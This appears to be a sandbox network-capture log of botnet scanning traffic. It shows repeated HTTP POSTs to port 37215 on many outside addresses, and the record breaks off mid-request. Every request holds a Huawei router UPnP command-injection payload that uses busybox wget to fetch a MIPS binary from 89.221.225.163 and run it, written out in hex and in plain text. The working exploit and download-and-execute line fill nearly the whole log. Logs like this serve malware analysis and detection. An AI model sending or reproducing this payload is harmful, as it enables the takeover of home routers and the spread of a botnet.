Sep 25, 2024 14:14:10.003966093 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.14	48382	156.147.64.138	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.005532026 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.14	58474	156.10.172.17	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.007405043 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.14	52766	197.103.101.114	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.009543896 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.14	60840	41.17.224.245	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.011049986 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.14	39966	156.172.137.208	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.013170958 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.14	58812	41.216.108.45	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.016588926 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.14	50584	41.214.110.3	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.019634008 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.14	40752	197.87.102.75	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.022763968 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.14	45748	156.79.189.25	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.025543928 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.14	49444	156.194.100.66	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.028572083 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 